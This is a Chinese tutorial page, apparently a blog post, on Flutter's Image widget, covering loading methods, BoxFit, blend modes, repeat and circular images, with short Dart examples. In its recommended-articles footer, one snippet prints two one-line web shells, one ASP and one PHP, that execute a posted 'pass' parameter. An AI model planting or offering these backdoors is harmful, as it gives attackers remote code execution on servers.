flutter 图片组件
加入图片的几种方式
- Image.asset:加载资源图片,就是加载项目资源目录中的图片,加入图片后会增大打包的包体体积,用的是相对路径。
- Image.network:网络资源图片,意思就是你需要加入一段http://xxxx.xxx的这样的网络路径地址。
- Image.file:加载本地图片,就是加载本地文件中的图片,这个是一个绝对路径,跟包体无关。
- Image.memory: 加载Uint8List资源图片,不怎么使用
Image 组件的常用属性:
fit属性的设置
fit属性可以控制图片的拉伸和挤压,这些都是根据图片的父级容器来的,我们先来看看这些属性(建议此部分组好看视频理解)。
BoxFit.fill:全图显示,图片会被拉伸,并充满父容器。
BoxFit.contain:全图显示,显示原比例,可能会有空隙。
BoxFit.cover:显示可能拉伸,可能裁切,充满(图片要充满整个容器,还不变形)。
BoxFit.fitWidth:宽度充满(横向充满),显示可能拉伸,可能裁切。
BoxFit.fitHeight :高度充满(竖向充满),显示可能拉伸,可能裁切。
BoxFit.scaleDown:效果和contain差不多,但是此属性不允许显示超过源图片大小,可小不可大
图片的混合模式
图片混合模式(colorBlendMode)和color属性配合使用,能让图片改变颜色,里边的模式非常的多,产生的效果也是非常丰富的
- color:是要混合的颜色,如果你只设置color是没有意义的。
- colorBlendMode:是混合模式,相当于我们如何混合。
child:new Image.network(
'https://abc.2008php.com/2011_Website_appreciate/2011-12-30/20111230224943.jpg',
color: Colors.greenAccent,
colorBlendMode: BlendMode.darken,
),
repeat图片重复
ImageRepeat.repeat : 横向和纵向都进行重复,直到铺满整个画布。
ImageRepeat.repeatX: 横向重复,纵向不重复。
ImageRepeat.repeatY:纵向重复,横向不重复。
Width和height属性:
一般结合 ClipOval 才能看到效果
引入本地图片的配置
1.新建对应目录:例如images
打开 pubspec.yaml 声明一下添加的图片文件
assets:
- images/
child: Container(
child: Image.asset("images/a.jpeg",
fit:BoxFit.cover
),
width: 300.0,
height: 300.0,
decoration: BoxDecoration(
color: Colors.yellow ),
Flutter 实现圆角以及实现圆形图片
return Center(
child: Container(
width: 300.0,
height: 300.0,
decoration: BoxDecoration(
color: Colors.yellow,
borderRadius: BorderRadius.circular(150),
image: DecorationImage(
image: new
NetworkImage('http://img4.imgtn.bdimg.com/it/u=3517152928,1333162930&fm=26&gp=0.jpg'),
fit: BoxFit.cover
)
),
),
);
实现圆形图片
return Center(
child: Container(
child:ClipOval( child:Image.network("https://abc.2008php.com/2011_Website_appreciate/2011-12-30/20111230224943.jpg",
width: 150.0,
height: 150.0, ),
)
),
);
flutter 图片组件的更多相关文章
- flutter图片组件
在flutter中,image组件有很多构造函数,常用的包括Image.asset(本地图片)和Image.network(远程图片). 常用属性 不管是显示本地图片还是远程图片,image组件都包含 ...
- Flutter学习笔记(10)--容器组件、图片组件
如需转载,请注明出处:Flutter学习笔记(10)--容器组件.图片组件 上一篇Flutter学习笔记(9)--组件Widget我们说到了在Flutter中一个非常重要的理念"一切皆为组件 ...
- 【Flutter学习】基本组件之图片组件Image
一,概述 Image(图片组件)是显示图像的组件,一个显示图片的widget,支持图像格式:JPEG,PNG,GIF,动画GIF,WebP,动画WebP,BMP和WBMP. Image组件有多种构造函 ...
- 【Flutter实战】图片组件及四大案例
老孟导读:大家好,这是[Flutter实战]系列文章的第三篇,这一篇讲解图片组件,Image有很多高级用法,希望对您有所帮助. 图片组件是Flutter基础组件之一,和文本组件一样必不可少.图片组件包 ...
- 迅捷Flutter图片浏览软件
下载地址: https://github.com/patton88/agile_flutter_picture_show/raw/master/agile_flutter_picture_show_v ...
- 图片组件——axure线框图部件库介绍
我们在后面的组件使用中,都统一使用"从部件区域拖拽图片组件到页面区域中" 1. 图片载入 1.1 将图片组件拖拽到页面区域 1.2 双击图片组件 1.3 选择合适图片,点击打开 1 ...
- ReactNative: 使用Image图片组件
一.简介 在应用程序中,图片组件非常常见,不论是缩略图.大图.还是小图标等等,都需要使用图片组件进行显示.在Web开发中提供了<img/>标签显示图片,在iOS中提供了UIImageVie ...
- Flutter 常用组件
无状态组件(StatelessWidget)是不可变的,这意味着它的属性不能改变,所有的值都是最终的. 有状态组件(StatefulWidget)持有的状态可能在Widget生命周期中发生变化.实现一 ...
- Flutter 父子组件传值
Flutter 父子组件传值 一父传子: 父中: void onButtonChange(val1,val2,val3){ print('============================子向父 ...
随机推荐
- docker 基本常用操作做
docker 基本常用操作做(只列举入门常用的命令) 容器生命周期管理 docker run :创建一个新的容器并运行一个命令 -a stdin: 指定标准输入输出内容类型,可选 STDIN/STDO ...
- 简单的一句话木马(asp aspx php)
一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...
- HL7入门书
由我翻译HL7书,写给大忙人的HL7 链接:https://pan.baidu.com/s/16MkTj3EIDfFpqRCAIbiC2w 提取码:ndfw
- 0023SpringMVC自定义类型转换器
页面录入的字符串:2019/12/05可以映射到实体的日期属性上,但是如果是录入2019-12-05就会报错400 bad request,想要以2019-12-05日期格式的方式映射到实体的日期属性 ...
- Spring源码窥探之:ImportBeanDefinitionRegistrar
1. 编写实现ImportBeanDefinitionRegistrar的类 /** * description * * @author 70KG * @date 2018/11/13 */ publ ...
- Hadoop 格式化namenode时报错警告:WARN common.Util: Path /data/dfs/name should be specified as a URI in configuration
格式化namenode时报错警告:WARN common.Util: Path /data/dfs/name should be specified as a URI in configuration ...
- DW-ODS
ODS (操作数据存储) 编辑 讨论 操作数据存储ODS(Operational Data Store)是数据仓库体系结构中的一个可选部分,也被称为贴源层.ODS具备数据仓库的部分特征和OLTP系统的 ...
- TPC-H 测试参考
https://github.com/digoal/pg_tpch ---明天以此为准 https://www.jianshu.com/p/83e670cf3ffb https://yq.aliyu ...
- 洛谷 P1823 [COI2007] Patrik 音乐会的等待 题解
P1823 [COI2007] Patrik 音乐会的等待 题目描述 N个人正在排队进入一个音乐会.人们等得很无聊,于是他们开始转来转去,想在队伍里寻找自己的熟人.队列中任意两个人A和B,如果他们是相 ...
- linux shell下面的几种proxy方式
设置ALL_PROXY环境变量 export ALL_PROXY=socks5://127.0.0.1:1080 支持socks5 http https 取消 export ALL_PROXY=&qu ...